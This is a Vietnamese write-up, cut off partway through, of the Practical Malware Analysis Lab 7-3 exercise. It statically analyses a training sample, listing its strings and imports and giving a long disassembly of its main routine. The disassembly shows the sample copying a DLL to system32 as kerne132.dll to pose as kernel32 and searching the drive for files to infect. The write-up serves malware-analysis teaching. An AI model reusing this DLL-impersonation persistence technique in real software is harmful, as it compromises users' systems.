Notification texts go here Contact Us Buy Now!

[Write-up] Practical Malware Analysis | Part 2 - Chapter 7 - Lab 7-3

Practical Malware Analysis

CHƯƠNG 7 - PHÂN TÍCH CÁC CHƯƠNG TRÌNH MÃ ĐỘC WINDOWS

Dowloads Lab tại đây


Xem lại tóm tắt nội dung của Chương 7 tại đây.

Table of Contents

Lab 7-3

Phân tích phần mềm độc hại được tìm thấy trong tệp Lab07-03.dll


Để phục vụ bài thực hành này, chúng tôi đã thu thập được tệp thực thi độc hại, Lab07-03.exe, và tệp thư viện liên kết động DLL, Lab07-03.dll, trước khi chúng được chạy. Điều này rất quan trọng cần lưu ý, bởi mã độc có thể tự thay đổi sau khi được thực thi. Cả hai tệp được tìm thấy trong cùng một thư mục trên máy tính nạn nhân. Nếu bạn chạy chương trình, hãy đảm bảo rằng cả hai tệp đều nằm trong cùng một thư mục trên máy phân tích. Một chuỗi IP hiển thị bắt đầu bằng 127 (địa chỉ loopback - địa chỉ vòng lặp nội bộ) sẽ kết nối  máy cục bộ. (Trong phiên bản thực của phần mềm độc hại này, địa chỉ này kết nối với một máy từ xa, nhưng chúng tôi đã đặt nó kết nối với localhost để bảo vệ bạn.)

CẢNH BÁO Bài thực hành này tiềm ẩn nguy cơ gây tổn hại nghiêm trọng cho máy tính của bạn và có thể rất khó loại bỏ sau khi cài đặt. Tuyệt đối không chạy tệp này nếu chưa có máy ảo với trạng thái được lưu (snapshot) trước khi thực thi.

Bài thực hành này có thể sẽ khó hơn một chút so với các bài trước. Bạn sẽ cần kết hợp các phương pháp phân tích tĩnh và động, đồng thời tập trung vào bức tranh tổng thể để tránh bị sa lầy vào các chi tiết vụn vặt.

Câu hỏi?

1. Chương trình này thực hiện cơ chế duy trì (persistence) như thế nào để đảm bảo nó tiếp tục hoạt động khi máy tính khởi động lại?

2. Hai dấu hiệu tốt dựa trên máy chủ (host-based signatures) cho phần mềm độc hại này là gì?

3. Mục đích của chương trình này là gì?

4.. Làm thế nào để loại bỏ phần mềm độc hại này sau khi nó đã được cài đặt?

Phân tích chi tiết

1. Thông tin tổng quan

Môi trường phân tích Windows 10 Flare VM
Mẫu phân tích Lab07-03.dll
Lab07-03.exe
Size Lab07-03.dll (163840 bytes)
Lab07-03.exe (16384 bytes)
MD5 Lab07-03.dll (290934c61de9176ad682ffdd65f0a669)
Lab07-03.exe (bd62dab79881bc6ec0f6be4eef1075bc)

2. Công cụ sử dụng

      3 Phân tích Tĩnh

      3.1 - Sử dụng VirusTotal

      Lab0703.dll: https://www.virustotal.com/gui/file/f50e42c8dfaab649bde0398867e930b86c2a599e8db83b8260393082268f2dba
      
      Lab0703.exe: https://www.virustotal.com/gui/file/3475ce2e4aaa555e5bbd0338641dd411c51615437a854c2cb24b4ca2c048791a
      Lab07-03.dll

      Lab07-03.exe
      Kết quả quét trên VirusTotal cho thấy mẫu được nhận diện là Trojan.

      3.2 - Sử dụng Exeinfo PE

      Lab07-03.dll

      Lab07-03.exe

      Với Exeinfo PE ta biết được cả hai tệp không bị đóng gói (no packed) và được biên dịch bằng Microsoft Visual C++ v.5 - 6.00.

      3.3 - Sử dụng Dependency Walker

      Lab07-03.dll

      Lab07-03.dll
      • CloseHandle: Cho thấy DLL này có thể làm việc với các đối tượng hệ thống và dọn dẹp sau khi sử dụng chúng.
      • CreateMutexA OpenMutexA: Gợi ý rằng DLL này có thể được thiết kế để hoạt động trong môi trường đa luồng hoặc đa tiến trình, hoặc để ngăn chặn việc chạy nhiều phiên bản của chính nó. Malware đôi khi sử dụng mutex để đảm bảo chỉ có một phiên bản của nó chạy trên hệ thống.
      • CreateProcessA: Đây là một dấu hiệu mạnh mẽ của hoạt động độc hại. Malware thường sử dụng hàm này để thực thi payload (phần mã độc hại) hoặc để khởi chạy các chương trình khác nhằm thực hiện các hành động xấu.
      • Sleep: Việc sử dụng hàm Sleep thường được malware sử dụng để tránh bị phát hiện bởi các hệ thống phòng thủ hoặc để làm chậm quá trình phân tích.
      Lab07-03.exe

      Lab07-03.exe
      • Các hàm như CreateFileA, CopyFileA, và FindFirstFileA gợi ý rằng chương trình này có thể thực hiện thao tác với file hệ thống như sao chép, tạo, hoặc duyệt qua file.
      • Việc sử dụng CreateFileMappingA MapViewOfFile cho thấy chương trình có thể sử dụng ánh xạ file vào bộ nhớ, đây là một kỹ thuật thường gặp trong các chương trình xử lý dữ liệu lớn hoặc các mã độc (malware) muốn truy cập nhanh vào dữ liệu file.
      • IsBadReadPtr có thể được sử dụng để kiểm tra tính hợp lệ của các con trỏ, điều này thường thấy trong các chương trình cần xử lý bộ nhớ trực tiếp hoặc bảo vệ khỏi lỗi truy cập.

      3.4 - Sử dụng Strings

      Lab07-03.dll:
      File: Lab07-03.dll
      MD5:  290934c61de9176ad682ffdd65f0a669
      Size: 163840
      
      Ascii Strings:
      ---------------------------------------------------------------------------
      0000004D  !This program cannot be run in DOS mode.
      000000C0  Rich
      000001D8  .text
      000001FF  `.rdata
      00000227  @.data
      00000250  .reloc
      00001075  L$xQh
      000010F9  IQh `
      00001189  L$4PQj
      000011A8  D$\D
      00001341  NWVS
      00001354  u7WPS
      00001365  u&WVS
      00001390  _^[]
      0000210A  CloseHandle
      00002118  Sleep
      00002120  CreateProcessA
      00002132  CreateMutexA
      00002142  OpenMutexA
      0000214E  KERNEL32.dll
      0000215C  WS2_32.dll
      0000216A  strncmp
      00002172  MSVCRT.dll
      00002180  free
      00002188  _initterm
      00002194  malloc
      0000219E  _adjust_fdiv
      00026010  exec
      00026018  sleep
      00026020  hello
      00026028  127.26.152.13
      00026038  SADFHUHF
      00027008  /0I0[0h0p0
      00027029  141G1[1l1
      00027039  1Y2a2g2r2
      0002705B  3!3}3
      
      Unicode Strings:
      ---------------------------------------------------------------------------

      Các chuỗi đáng chú ý đã được lọc ra như dưới đây:
      0000210A  CloseHandle
      00002118  Sleep
      00002120  CreateProcessA
      00002132  CreateMutexA
      00002142  OpenMutexA
      0000214E  KERNEL32.dll
      0000215C  WS2_32.dll
      0000216A  strncmp
      00002172  MSVCRT.dll
      ...
      
      00026018  sleep
      00026020  hello
      00026028  127.26.152.13
      Lab07-03.dll có nhiều dấu hiệu gợi ý đây là một tệp đáng nghi ngờ, có khả năng thực hiện hành vi độc hại. Các đặc điểm chính bao gồm:
      • Hành vi mạng: Khả năng giao tiếp với địa chỉ IP cụ thể (127.26.152.13) qua mạng.
      • Khả năng khởi chạy tiến trình: Sử dụng API CreateProcessA để tạo tiến trình mới.
      • Kỹ thuật che giấu: Sử dụng Sleep để trì hoãn hoặc che giấu hoạt động.
      • Quản lý đồng bộ hóa: Sử dụng mutex để kiểm soát hoặc giới hạn thực thi.
      Lab07-03.exe:
      File: Lab07-03.exe
      MD5:  bd62dab79881bc6ec0f6be4eef1075bc
      Size: 16384
      
      Ascii Strings:
      ---------------------------------------------------------------------------
      0000004D  !This program cannot be run in DOS mode.
      000000C8  Richm
      000001E0  .text
      00000207  `.rdata
      0000022F  @.data
      000010A8  UVWj
      0000116C  ugh 0@
      000011D5  _^][
      000011ED  SUVW
      000013A1  h00@
      00001434  _^][
      0000144A  SUVW
      000014E7  h|0@
      000014F6  D$Pj
      0000152C  l$\u
      00001578  S$QWR
      000015AB  FxRVP
      00001639  D$$3
      000016B9  D$8R
      000016F2  t$<f
      000017E2  T$PR
      000017EA  hL0@
      000017EF  h|0@
      00001806  hD0@
      00001813  _^]3
      00001825  hp @
      0000183F   SVW
      00001931  %8 @
      00001937  %D @
      00001961  %\ @
      00001967  %` @
      00002126  CloseHandle
      00002134  UnmapViewOfFile
      00002146  IsBadReadPtr
      00002156  MapViewOfFile
      00002166  CreateFileMappingA
      0000217C  CreateFileA
      0000218A  FindClose
      00002196  FindNextFileA
      000021A6  FindFirstFileA
      000021B8  CopyFileA
      000021C2  KERNEL32.dll
      000021D2  malloc
      000021DC  exit
      000021E2  MSVCRT.dll
      000021F0  _exit
      000021F8  _XcptFilter
      00002206  __p___initenv
      00002216  __getmainargs
      00002226  _initterm
      00002232  __setusermatherr
      00002246  _adjust_fdiv
      00002256  __p__commode
      00002266  __p__fmode
      00002274  __set_app_type
      00002286  _except_handler3
      0000229A  _controlfp
      000022A8  _stricmp
      00003010  kerne132.dll
      00003020  kernel32.dll
      00003030  .exe
      00003044  C:\*
      0000304C  C:\windows\system32\kerne132.dll
      00003070  Kernel32.
      0000307C  Lab07-03.dll
      0000308C  C:\Windows\System32\Kernel32.dll
      000030B0  WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
      
      Unicode Strings:
      ---------------------------------------------------------------------------
      000010BF  @jjj
      000010D4  @jjj
      000014B2  @jjj
      000014C9  @jjj

      Các chuỗi đáng chú ý đã được lọc ra như dưới đây:
      00002126  CloseHandle
      00002134  UnmapViewOfFile
      00002146  IsBadReadPtr
      00002156  MapViewOfFile
      00002166  CreateFileMappingA
      0000217C  CreateFileA
      0000218A  FindClose
      00002196  FindNextFileA
      000021A6  FindFirstFileA
      000021B8  CopyFileA
      000021C2  KERNEL32.dll
      000021D2  malloc
      000021DC  exit
      000021E2  MSVCRT.dll
      ...
      
      0000304C  C:\windows\system32\kerne132.dll
      00003070  Kernel32.
      0000307C  Lab07-03.dll
      0000308C  C:\Windows\System32\Kernel32.dll
      Lab07-03.exe có các đặc điểm sau, khiến nó trở thành một tệp đáng nghi ngờ:

      - Tương tác với hệ thống file

      Các hàm như CreateFileA, CopyFileA, và FindFirstFileA cho thấy chương trình có khả năng tìm kiếm, sao chép, và tương tác với file trong hệ thống.
      Điều này có thể được sử dụng để truy xuất dữ liệu hoặc sửa đổi file quan trọng.

      - Ánh xạ và thao tác bộ nhớ

      Sử dụng CreateFileMappingA, MapViewOfFile, và UnmapViewOfFile cho thấy chương trình thao tác với bộ nhớ ánh xạ, có thể để xử lý file lớn hoặc thực hiện hành vi như tải payload (mã độc).

      - Kỹ thuật tấn công DLL hijacking

      Đường dẫn đến kerne132.dll (một tên giả mạo của kernel32.dll) cho thấy chương trình có thể cố tình tải một DLL giả mạo để thực hiện các hành vi độc hại.

      - Khả năng chạy mã độc thông qua DLL

      Sự xuất hiện của Lab07-03.dll gợi ý rằng chương trình này có thể tải và sử dụng DLL đó, có khả năng chứa các mã độc hoặc chức năng bổ sung.

      3.5- Phân tích tĩnh nâng cao Lab07-03.exe

      Hàm main:
      .text:00401440 ; =============== S U B R O U T I N E =======================================
      .text:00401440
      .text:00401440
      .text:00401440 ; int __cdecl main(int argc, const char **argv, const char **envp)
      .text:00401440 _main           proc near               ; CODE XREF: start+DE↓p
      .text:00401440
      .text:00401440 var_44          = dword ptr -44h
      .text:00401440 var_40          = dword ptr -40h
      .text:00401440 var_3C          = dword ptr -3Ch
      .text:00401440 var_38          = dword ptr -38h
      .text:00401440 var_34          = dword ptr -34h
      .text:00401440 var_30          = dword ptr -30h
      .text:00401440 var_2C          = dword ptr -2Ch
      .text:00401440 var_28          = dword ptr -28h
      .text:00401440 var_24          = dword ptr -24h
      .text:00401440 var_20          = dword ptr -20h
      .text:00401440 var_1C          = dword ptr -1Ch
      .text:00401440 var_18          = dword ptr -18h
      .text:00401440 var_14          = dword ptr -14h
      .text:00401440 var_10          = dword ptr -10h
      .text:00401440 var_C           = dword ptr -0Ch
      .text:00401440 hObject         = dword ptr -8
      .text:00401440 var_4           = dword ptr -4
      .text:00401440 argc            = dword ptr  4
      .text:00401440 argv            = dword ptr  8
      .text:00401440 envp            = dword ptr  0Ch
      .text:00401440
      .text:00401440                 mov     eax, [esp+argc]
      .text:00401444                 sub     esp, 44h
      .text:00401447                 cmp     eax, 2
      .text:0040144A                 push    ebx
      .text:0040144B                 push    ebp
      .text:0040144C                 push    esi
      .text:0040144D                 push    edi
      .text:0040144E                 jnz     loc_401813
      .text:00401454                 mov     eax, [esp+54h+argv]
      .text:00401458                 mov     esi, offset aWarningThisWil ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
      .text:0040145D                 mov     eax, [eax+4]
      .text:00401460
      .text:00401460 loc_401460:                             ; CODE XREF: _main+42↓j
      .text:00401460                 mov     dl, [eax]
      .text:00401462                 mov     bl, [esi]
      .text:00401464                 mov     cl, dl
      .text:00401466                 cmp     dl, bl
      .text:00401468                 jnz     short loc_401488
      .text:0040146A                 test    cl, cl
      .text:0040146C                 jz      short loc_401484
      .text:0040146E                 mov     dl, [eax+1]
      .text:00401471                 mov     bl, [esi+1]
      .text:00401474                 mov     cl, dl
      .text:00401476                 cmp     dl, bl
      .text:00401478                 jnz     short loc_401488
      .text:0040147A                 add     eax, 2
      .text:0040147D                 add     esi, 2
      .text:00401480                 test    cl, cl
      .text:00401482                 jnz     short loc_401460
      .text:00401484
      .text:00401484 loc_401484:                             ; CODE XREF: _main+2C↑j
      .text:00401484                 xor     eax, eax
      .text:00401486                 jmp     short loc_40148D
      .text:00401488 ; ---------------------------------------------------------------------------
      .text:00401488
      .text:00401488 loc_401488:                             ; CODE XREF: _main+28↑j
      .text:00401488                                         ; _main+38↑j
      .text:00401488                 sbb     eax, eax
      .text:0040148A                 sbb     eax, 0FFFFFFFFh
      .text:0040148D
      .text:0040148D loc_40148D:                             ; CODE XREF: _main+46↑j
      .text:0040148D                 test    eax, eax
      .text:0040148F                 jnz     loc_401813
      .text:00401495                 mov     edi, ds:CreateFileA
      .text:0040149B                 push    eax             ; hTemplateFile
      .text:0040149C                 push    eax             ; dwFlagsAndAttributes
      .text:0040149D                 push    3               ; dwCreationDisposition
      .text:0040149F                 push    eax             ; lpSecurityAttributes
      .text:004014A0                 push    1               ; dwShareMode
      .text:004014A2                 push    80000000h       ; dwDesiredAccess
      .text:004014A7                 push    offset FileName ; "C:\\Windows\\System32\\Kernel32.dll"
      .text:004014AC                 call    edi ; CreateFileA
      .text:004014AE                 mov     ebx, ds:CreateFileMappingA
      .text:004014B4                 push    0               ; lpName
      .text:004014B6                 push    0               ; dwMaximumSizeLow
      .text:004014B8                 push    0               ; dwMaximumSizeHigh
      .text:004014BA                 push    2               ; flProtect
      .text:004014BC                 push    0               ; lpFileMappingAttributes
      .text:004014BE                 push    eax             ; hFile
      .text:004014BF                 mov     [esp+6Ch+hObject], eax
      .text:004014C3                 call    ebx ; CreateFileMappingA
      .text:004014C5                 mov     ebp, ds:MapViewOfFile
      .text:004014CB                 push    0               ; dwNumberOfBytesToMap
      .text:004014CD                 push    0               ; dwFileOffsetLow
      .text:004014CF                 push    0               ; dwFileOffsetHigh
      .text:004014D1                 push    4               ; dwDesiredAccess
      .text:004014D3                 push    eax             ; hFileMappingObject
      .text:004014D4                 call    ebp ; MapViewOfFile
      .text:004014D6                 push    0               ; hTemplateFile
      .text:004014D8                 push    0               ; dwFlagsAndAttributes
      .text:004014DA                 push    3               ; dwCreationDisposition
      .text:004014DC                 push    0               ; lpSecurityAttributes
      .text:004014DE                 push    1               ; dwShareMode
      .text:004014E0                 mov     esi, eax
      .text:004014E2                 push    10000000h       ; dwDesiredAccess
      .text:004014E7                 push    offset ExistingFileName ; "Lab07-03.dll"
      .text:004014EC                 mov     [esp+70h+argc], esi
      .text:004014F0                 call    edi ; CreateFileA
      .text:004014F2                 cmp     eax, 0FFFFFFFFh
      .text:004014F5                 mov     [esp+54h+var_4], eax
      .text:004014F9                 push    0               ; lpName
      .text:004014FB                 jnz     short loc_401503
      .text:004014FD                 call    ds:exit
      .text:00401503 ; ---------------------------------------------------------------------------
      .text:00401503
      .text:00401503 loc_401503:                             ; CODE XREF: _main+BB↑j
      .text:00401503                 push    0               ; dwMaximumSizeLow
      .text:00401505                 push    0               ; dwMaximumSizeHigh
      .text:00401507                 push    4               ; flProtect
      .text:00401509                 push    0               ; lpFileMappingAttributes
      .text:0040150B                 push    eax             ; hFile
      .text:0040150C                 call    ebx ; CreateFileMappingA
      .text:0040150E                 cmp     eax, 0FFFFFFFFh
      .text:00401511                 push    0               ; dwNumberOfBytesToMap
      .text:00401513                 jnz     short loc_40151B
      .text:00401515                 call    ds:exit
      .text:0040151B ; ---------------------------------------------------------------------------
      .text:0040151B
      .text:0040151B loc_40151B:                             ; CODE XREF: _main+D3↑j
      .text:0040151B                 push    0               ; dwFileOffsetLow
      .text:0040151D                 push    0               ; dwFileOffsetHigh
      .text:0040151F                 push    0F001Fh         ; dwDesiredAccess
      .text:00401524                 push    eax             ; hFileMappingObject
      .text:00401525                 call    ebp ; MapViewOfFile
      .text:00401527                 mov     ebp, eax
      .text:00401529                 test    ebp, ebp
      .text:0040152B                 mov     [esp+54h+argv], ebp
      .text:0040152F                 jnz     short loc_401538
      .text:00401531                 push    eax             ; Code
      .text:00401532                 call    ds:exit
      .text:00401538 ; ---------------------------------------------------------------------------
      .text:00401538
      .text:00401538 loc_401538:                             ; CODE XREF: _main+EF↑j
      .text:00401538                 mov     edi, [esi+3Ch]
      .text:0040153B                 push    esi
      .text:0040153C                 add     edi, esi
      .text:0040153E                 push    edi
      .text:0040153F                 mov     [esp+5Ch+var_1C], edi
      .text:00401543                 mov     eax, [edi+78h]
      .text:00401546                 push    eax
      .text:00401547                 call    sub_401040
      .text:0040154C                 mov     esi, [ebp+3Ch]
      .text:0040154F                 push    ebp
      .text:00401550                 add     esi, ebp
      .text:00401552                 mov     ebx, eax
      .text:00401554                 push    esi
      .text:00401555                 mov     [esp+68h+var_30], ebx
      .text:00401559                 mov     ecx, [esi+78h]
      .text:0040155C                 push    ecx
      .text:0040155D                 call    sub_401040
      .text:00401562                 mov     edx, [esp+6Ch+argc]
      .text:00401566                 mov     ebp, eax
      .text:00401568                 mov     eax, [ebx+1Ch]
      .text:0040156B                 push    edx
      .text:0040156C                 push    edi
      .text:0040156D                 push    eax
      .text:0040156E                 call    sub_401040
      .text:00401573                 mov     ecx, [esp+78h+argc]
      .text:00401577                 mov     edx, [ebx+24h]
      .text:0040157A                 push    ecx
      .text:0040157B                 push    edi
      .text:0040157C                 push    edx
      .text:0040157D                 mov     [esp+84h+var_38], eax
      .text:00401581                 call    sub_401040
      .text:00401586                 mov     ecx, [ebx+20h]
      .text:00401589                 mov     [esp+84h+var_20], eax
      .text:0040158D                 mov     eax, [esp+84h+argc]
      .text:00401594                 push    eax
      .text:00401595                 push    edi
      .text:00401596                 push    ecx
      .text:00401597                 call    sub_401040
      .text:0040159C                 mov     edx, [esp+90h+argv]
      .text:004015A3                 mov     edi, [esi+7Ch]
      .text:004015A6                 mov     [esp+90h+var_24], eax
      .text:004015AA                 mov     eax, [esi+78h]
      .text:004015AD                 push    edx
      .text:004015AE                 push    esi
      .text:004015AF                 push    eax
      .text:004015B0                 call    sub_401070
      .text:004015B5                 mov     ecx, edi
      .text:004015B7                 mov     esi, ebx
      .text:004015B9                 mov     edx, ecx
      .text:004015BB                 mov     edi, ebp
      .text:004015BD                 shr     ecx, 2
      .text:004015C0                 rep movsd
      .text:004015C2                 mov     ecx, edx
      .text:004015C4                 add     esp, 48h
      .text:004015C7                 and     ecx, 3
      .text:004015CA                 mov     [esp+54h+var_18], eax
      .text:004015CE                 rep movsb
      .text:004015D0                 mov     ecx, [ebx+14h]
      .text:004015D3                 mov     [ebp+14h], ecx
      .text:004015D6                 mov     edx, [ebx+18h]
      .text:004015D9                 lea     ebx, [ebp+28h]
      .text:004015DC                 mov     [ebp+18h], edx
      .text:004015DF                 shl     ecx, 4
      .text:004015E2                 lea     edx, [ebx+eax]
      .text:004015E5                 mov     [ebp+0Ch], edx
      .text:004015E8                 mov     esi, dword_403010
      .text:004015EE                 mov     edx, ebx
      .text:004015F0                 add     ebx, 10h
      .text:004015F3                 mov     [esp+54h+var_34], ebx
      .text:004015F7                 mov     [edx], esi
      .text:004015F9                 mov     esi, dword_403014
      .text:004015FF                 mov     [edx+4], esi
      .text:00401602                 mov     esi, dword_403018
      .text:00401608                 mov     [edx+8], esi
      .text:0040160B                 mov     esi, dword_40301C
      .text:00401611                 mov     [edx+0Ch], esi
      .text:00401614                 mov     edx, [ebp+14h]
      .text:00401617                 lea     esi, [ebx+edx*4]
      .text:0040161A                 lea     edi, [ebx+edx*8]
      .text:0040161D                 mov     [esp+54h+var_C], esi
      .text:00401621                 mov     [esp+54h+var_10], edi
      .text:00401625                 lea     edx, [ebx+eax]
      .text:00401628                 add     ebx, ecx
      .text:0040162A                 mov     [ebp+1Ch], edx
      .text:0040162D                 lea     edx, [esi+eax]
      .text:00401630                 add     eax, edi
      .text:00401632                 mov     [ebp+24h], edx
      .text:00401635                 mov     [ebp+20h], eax
      .text:00401638                 mov     eax, [esp+54h+var_30]
      .text:0040163C                 xor     ecx, ecx
      .text:0040163E                 xor     edx, edx
      .text:00401640                 mov     ebp, [eax+14h]
      .text:00401643                 mov     [esp+54h+argv], ecx
      .text:00401647                 test    ebp, ebp
      .text:00401649                 mov     [esp+54h+var_28], edx
      .text:0040164D                 jbe     loc_4017D4
      .text:00401653
      .text:00401653 loc_401653:                             ; CODE XREF: _main+38E↓j
      .text:00401653                 mov     ebp, [esp+54h+var_38]
      .text:00401657                 cmp     dword ptr [ebp+0], 0
      .text:0040165B                 jz      loc_4017B9
      .text:00401661                 mov     ebp, [eax+18h]
      .text:00401664                 mov     [esp+54h+var_2C], 0
      .text:0040166C                 test    ebp, ebp
      .text:0040166E                 jbe     loc_4017B9
      .text:00401674                 mov     ebp, [esp+54h+var_34]
      .text:00401678                 lea     ebp, [ebp+ecx*4+0]
      .text:0040167C                 lea     ecx, [esi+ecx*2]
      .text:0040167F                 mov     esi, [esp+54h+var_34]
      .text:00401683                 mov     [esp+54h+var_44], ecx
      .text:00401687                 mov     ecx, [esp+54h+var_24]
      .text:0040168B                 mov     [esp+54h+var_3C], ecx
      .text:0040168F                 mov     ecx, [esp+54h+var_20]
      .text:00401693                 mov     [esp+54h+var_40], ecx
      .text:00401697                 mov     ecx, edi
      .text:00401699                 sub     ecx, esi
      .text:0040169B                 mov     [esp+54h+var_14], ecx
      .text:0040169F
      .text:0040169F loc_40169F:                             ; CODE XREF: _main+367↓j
      .text:0040169F                 mov     esi, [esp+54h+var_40]
      .text:004016A3                 xor     ecx, ecx
      .text:004016A5                 mov     cx, [esi]
      .text:004016A8                 cmp     ecx, edx
      .text:004016AA                 jnz     loc_401783
      .text:004016B0                 mov     edx, [esp+54h+argc]
      .text:004016B4                 mov     ecx, [esp+54h+var_3C]
      .text:004016B8                 mov     eax, [esp+54h+var_1C]
      .text:004016BC                 push    edx
      .text:004016BD                 mov     edx, [ecx]
      .text:004016BF                 push    eax
      .text:004016C0                 push    edx
      .text:004016C1                 call    sub_401040
      .text:004016C6                 mov     edx, eax
      .text:004016C8                 or      ecx, 0FFFFFFFFh
      .text:004016CB                 mov     edi, edx
      .text:004016CD                 xor     eax, eax
      .text:004016CF                 add     esp, 0Ch
      .text:004016D2                 mov     esi, edx
      .text:004016D4                 repne scasb
      .text:004016D6                 not     ecx
      .text:004016D8                 mov     eax, ecx
      .text:004016DA                 mov     edi, ebx
      .text:004016DC                 shr     ecx, 2
      .text:004016DF                 rep movsd
      .text:004016E1                 mov     ecx, eax
      .text:004016E3                 mov     eax, [esp+54h+var_44]
      .text:004016E7                 and     ecx, 3
      .text:004016EA                 rep movsb
      .text:004016EC                 mov     cx, word ptr [esp+54h+argv]
      .text:004016F1                 mov     esi, [esp+54h+var_18]
      .text:004016F5                 mov     [eax], cx
      .text:004016F8                 mov     eax, [esp+54h+var_14]
      .text:004016FC                 lea     ecx, [ebx+esi]
      .text:004016FF                 mov     edi, edx
      .text:00401701                 mov     [eax+ebp], ecx
      .text:00401704                 or      ecx, 0FFFFFFFFh
      .text:00401707                 xor     eax, eax
      .text:00401709                 repne scasb
      .text:0040170B                 not     ecx
      .text:0040170D                 dec     ecx
      .text:0040170E                 mov     edi, edx
      .text:00401710                 lea     ebx, [ebx+ecx+1]
      .text:00401714                 mov     eax, ebx
      .text:00401716                 lea     ecx, [ebx+esi]
      .text:00401719                 add     ebx, 9
      .text:0040171C                 mov     [ebp+0], ecx
      .text:0040171F                 mov     ecx, dword_403070
      .text:00401725                 mov     [eax], ecx
      .text:00401727                 mov     ecx, dword_403074
      .text:0040172D                 mov     esi, edx
      .text:0040172F                 mov     [eax+4], ecx
      .text:00401732                 mov     cl, byte_403078
      .text:00401738                 mov     [eax+8], cl
      .text:0040173B                 or      ecx, 0FFFFFFFFh
      .text:0040173E                 xor     eax, eax
      .text:00401740                 repne scasb
      .text:00401742                 not     ecx
      .text:00401744                 mov     eax, ecx
      .text:00401746                 mov     edi, ebx
      .text:00401748                 shr     ecx, 2
      .text:0040174B                 rep movsd
      .text:0040174D                 mov     ecx, eax
      .text:0040174F                 xor     eax, eax
      .text:00401751                 and     ecx, 3
      .text:00401754                 rep movsb
      .text:00401756                 mov     edi, edx
      .text:00401758                 or      ecx, 0FFFFFFFFh
      .text:0040175B                 repne scasb
      .text:0040175D                 mov     edx, [esp+54h+argv]
      .text:00401761                 mov     eax, [esp+54h+var_30]
      .text:00401765                 not     ecx
      .text:00401767                 dec     ecx
      .text:00401768                 inc     edx
      .text:00401769                 mov     [esp+54h+argv], edx
      .text:0040176D                 mov     edx, [esp+54h+var_28]
      .text:00401771                 lea     ebx, [ebx+ecx+1]
      .text:00401775                 mov     ecx, [esp+54h+var_44]
      .text:00401779                 add     ecx, 2
      .text:0040177C                 add     ebp, 4
      .text:0040177F                 mov     [esp+54h+var_44], ecx
      .text:00401783
      .text:00401783 loc_401783:                             ; CODE XREF: _main+26A↑j
      .text:00401783                 mov     esi, [esp+54h+var_40]
      .text:00401787                 mov     ecx, [esp+54h+var_2C]
      .text:0040178B                 mov     edi, [esp+54h+var_3C]
      .text:0040178F                 add     esi, 2
      .text:00401792                 mov     [esp+54h+var_40], esi
      .text:00401796                 mov     esi, [eax+18h]
      .text:00401799                 inc     ecx
      .text:0040179A                 add     edi, 4
      .text:0040179D                 cmp     ecx, esi
      .text:0040179F                 mov     [esp+54h+var_2C], ecx
      .text:004017A3                 mov     [esp+54h+var_3C], edi
      .text:004017A7                 jb      loc_40169F
      .text:004017AD                 mov     ecx, [esp+54h+argv]
      .text:004017B1                 mov     edi, [esp+54h+var_10]
      .text:004017B5                 mov     esi, [esp+54h+var_C]
      .text:004017B9
      .text:004017B9 loc_4017B9:                             ; CODE XREF: _main+21B↑j
      .text:004017B9                                         ; _main+22E↑j
      .text:004017B9                 mov     ebp, [esp+54h+var_38]
      .text:004017BD                 inc     edx
      .text:004017BE                 add     ebp, 4
      .text:004017C1                 mov     [esp+54h+var_28], edx
      .text:004017C5                 mov     [esp+54h+var_38], ebp
      .text:004017C9                 mov     ebp, [eax+14h]
      .text:004017CC                 cmp     edx, ebp
      .text:004017CE                 jb      loc_401653
      .text:004017D4
      .text:004017D4 loc_4017D4:                             ; CODE XREF: _main+20D↑j
      .text:004017D4                 mov     ecx, [esp+54h+hObject]
      .text:004017D8                 mov     esi, ds:CloseHandle
      .text:004017DE                 push    ecx             ; hObject
      .text:004017DF                 call    esi ; CloseHandle
      .text:004017E1                 mov     edx, [esp+54h+var_4]
      .text:004017E5                 push    edx             ; hObject
      .text:004017E6                 call    esi ; CloseHandle
      .text:004017E8                 push    0               ; bFailIfExists
      .text:004017EA                 push    offset NewFileName ; "C:\\windows\\system32\\kerne132.dll"
      .text:004017EF                 push    offset ExistingFileName ; "Lab07-03.dll"
      .text:004017F4                 call    ds:CopyFileA
      .text:004017FA                 test    eax, eax
      .text:004017FC                 push    0               ; int
      .text:004017FE                 jnz     short loc_401806
      .text:00401800                 call    ds:exit
      .text:00401806 ; ---------------------------------------------------------------------------
      .text:00401806
      .text:00401806 loc_401806:                             ; CODE XREF: _main+3BE↑j
      .text:00401806                 push    offset aC       ; "C:\\*"
      .text:0040180B                 call    sub_4011E0
      .text:00401810                 add     esp, 8
      .text:00401813
      .text:00401813 loc_401813:                             ; CODE XREF: _main+E↑j
      .text:00401813                                         ; _main+4F↑j
      .text:00401813                 pop     edi
      .text:00401814                 pop     esi
      .text:00401815                 pop     ebp
      .text:00401816                 xor     eax, eax
      .text:00401818                 pop     ebx
      .text:00401819                 add     esp, 44h
      .text:0040181C                 retn
      .text:0040181C _main           endp
      .text:0040181C
      .text:0040181C ; ---------------------------------------------------------------------------

      3.5.1. Tổng quan hoạt động

      Đoạn mã thực hiện các thao tác sau:

      • Kiểm tra đầu vào của chương trình để xác nhận số lượng tham số (argc).
      • So sánh chuỗi nhập vào với thông điệp cảnh báo "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE".
      • Sử dụng một chuỗi các lời gọi API của Windows (CreateFileA, CreateFileMappingA, MapViewOfFile) để truy cập và thao tác trên file hệ thống quan trọng như "C:\\Windows\\System32\\Kernel32.dll".
      • Sử dụng API CopyFile A sao chép tệp Lab07-03.dll thành C:\windows\system32\kerne132.dll 

      3.5.2. So sánh số lượng tham số

      1. mov eax, [esp+argc], trong đó argc đại diện cho số lượng tham số dòng lệnh. Khi chạy chương trình từ cmd, tên của file (ví dụ: "Lab07-03.exe") cũng được coi là một tham số. Vì vậy, về cơ bản, khi chạy chương trình mà không truyền bất kỳ giá trị tham số nào, số lượng tham số sẽ là 1.

      2. cmp eax, 2: So sánh số lượng tham số với 2.

      3. jnz loc_401813: Nếu không phải là 0 (= số lượng tham số không phải là 2), thì nhảy đến loc_401813.


      Nhảy đến đó thì hàm sẽ kết thúc ngay lập tức.

      Nói cách khác, nếu khi chạy Lab07-03.exe mà số lượng tham số được truyền vào (ngoại trừ tên file) không phải là một, thì hàm sẽ kết thúc ngay.

      Nếu có một tham số, chương trình sẽ tiếp tục thực hiện lệnh tiếp theo.

      3.5.3. So sánh giá trị của các tham số (arguments)


      1. eax, [esp+54h+argv]argv là một mảng lưu trữ các giá trị của tham số được truyền từ dòng lệnh. Giá trị này được lưu vào thanh ghi eax.  

